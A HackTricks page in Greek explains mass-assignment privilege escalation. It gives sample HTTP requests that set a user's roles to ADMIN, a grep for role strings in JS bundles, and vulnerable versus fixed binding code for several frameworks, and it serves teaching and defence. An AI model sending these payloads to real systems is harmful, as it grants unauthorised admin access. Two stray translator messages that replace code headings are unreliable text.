Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Mass assignment (a.k.a. insecure object binding) συμβαίνει όταν ένα API/controller παίρνει user-supplied JSON και το δεσμεύει απευθείας σε ένα server-side μοντέλο/οντότητα χωρίς ρητό allow-list πεδίων. Αν ιδιότητες με προνόμια όπως roles, isAdmin, status ή πεδία ownership είναι bindable, οποιοσδήποτε authenticated χρήστης μπορεί να escalate privileges ή να τροποποιήσει προστατευμένη κατάσταση.
Αυτό είναι ένα Broken Access Control issue (OWASP A01:2021) που συχνά επιτρέπει vertical privilege escalation με το να ορίσετε roles=ADMIN ή παρόμοια. Συνηθίζεται να επηρεάζει frameworks που υποστηρίζουν automatic binding των request bodies σε data models (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, κ.λπ.).
1) Finding Mass Assignment
Ψάξτε για self-service endpoints που ενημερώνουν το προφίλ σας ή παρόμοιους πόρους:
- PUT/PATCH /api/users/{id}
- PATCH /me, PUT /profile
- PUT /api/orders/{id}
Κριτήρια που υποδηλώνουν mass assignment:
- Η απάντηση αντικατοπτρίζει server-managed fields (π.χ., roles, status, isAdmin, permissions) ακόμη και όταν δεν τα στείλατε.
- Client bundles περιέχουν role names/IDs ή άλλα privileged attribute names που χρησιμοποιούνται σε όλη την εφαρμογή (admin, staff, moderator, internal flags), υπονοώντας bindable schema.
- Backend serializers δέχονται unknown fields χωρίς να τα απορρίπτουν.
Quick test flow:
- Κάντε ένα κανονικό update μόνο με safe fields και παρατηρήστε την πλήρη JSON response structure (this leaks the schema).
- Επαναλάβετε το update συμπεριλαμβάνοντας ένα crafted privileged field στο body. Εάν η απάντηση διατηρεί την αλλαγή, πιθανότατα έχετε mass assignment.
Example baseline update revealing schema:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}
Η απάντηση υποδεικνύει προνομιακά πεδία:
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}
2) Exploitation – Role Escalation via Mass Assignment
Μόλις γνωρίζετε το bindable shape, συμπεριλάβετε το privileged property στο ίδιο request.
Παράδειγμα: set roles to ADMIN on your own user resource:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}
Εάν μετά την απάντηση η αλλαγή role παραμένει, επαληθευτείτε ξανά ή ανανεώστε τα tokens/claims ώστε η εφαρμογή να εκδώσει μια admin-context session και να εμφανίσει privileged UI/endpoints.
Σημειώσεις
- Οι role identifiers και shapes συνήθως παρατίθενται από το client JS bundle ή τα API docs. Αναζητήστε συμβολοσειρές όπως “roles”, “ADMIN”, “STAFF” ή αριθμητικά role IDs.
- Εάν τα tokens περιέχουν claims (π.χ. JWT roles), συνήθως απαιτείται logout/login ή token refresh για να εφαρμοστούν τα νέα δικαιώματα.
3) Client Bundle Recon για Schema και Role IDs
- Εξετάστε minified JS bundles για role strings και model names; τα source maps μπορεί να αποκαλύψουν DTO shapes.
- Ψάξτε για arrays/maps με roles, permissions ή feature flags. Δημιουργήστε payloads που ταιριάζουν στα ακριβή property names και nesting.
- Τυπικοί δείκτες: role name constants, dropdown option lists, validation schemas.
Χρήσιμα greps για ένα downloaded bundle:
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u
4) Παγίδες frameworks και Ασφαλή πρότυπα
Η ευπάθεια προκύπτει όταν τα frameworks δεσμεύουν το req.body απευθείας σε επίμονες οντότητες. Παρακάτω φαίνονται κοινά λάθη και ελάχιστα, ασφαλή πρότυπα.
Node.js (Express + Mongoose)
Ευάλωτο:
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});
Δεν παρείχες κανένα κείμενο για μετάφραση. Στείλε το περιεχόμενο του αρχείου src/pentesting-web/mass-assignment-cwe-915.md (ή το κείμενο που θέλεις να διορθώσω/μεταφράσω) και θα το μεταφράσω στα Ελληνικά διατηρώντας ακέραια τη Markdown/HTML σύνταξη και τα tags/paths που ανέφερες.
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.
Ruby on Rails
Ευάλωτο (χωρίς strong parameters):
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end
Διόρθωση (strong params + χωρίς προνομιακά πεδία):
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end
Laravel (Eloquent)
Ευάλωτο:
protected $guarded = []; // Everything mass-assignable (bad)
Please paste the content of src/pentesting-web/mass-assignment-cwe-915.md that you want translated to Greek.
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin
Spring Boot (Jackson)
Ευπαθές μοτίβο:
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }
Διόρθωση: Χαρτογραφήστε σε DTO που περιέχει μόνο τα επιτρεπόμενα πεδία και εφαρμόστε έλεγχο εξουσιοδότησης:
record UserUpdateDTO(String firstName, String lastName, String nickName) {}
Έπειτα, αντιγράψτε τα επιτρεπόμενα πεδία από το DTO στην οντότητα στο server-side, και χειριστείτε τις αλλαγές ρόλων μόνο σε admin-only handlers μετά από τους ελέγχους RBAC. Χρησιμοποιήστε @JsonIgnore σε προνομιακά πεδία αν χρειάζεται και απορρίψτε άγνωστες ιδιότητες.
Go (encoding/json)
- Βεβαιωθείτε ότι τα προνομιακά πεδία χρησιμοποιούν json:“-” και επικυρώστε με ένα DTO struct που περιλαμβάνει μόνο επιτρεπόμενα πεδία.
- Σκεφτείτε να χρησιμοποιήσετε decoder.DisallowUnknownFields() και επαλήθευση μετά το bind των αμετάβλητων συνθηκών (οι ρόλοι δεν μπορούν να αλλάξουν σε self-service routes).
References
- FIA Driver Categorisation: Admin Takeover via Mass Assignment of roles (Full PoC)
- OWASP Top 10 – Broken Access Control
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks

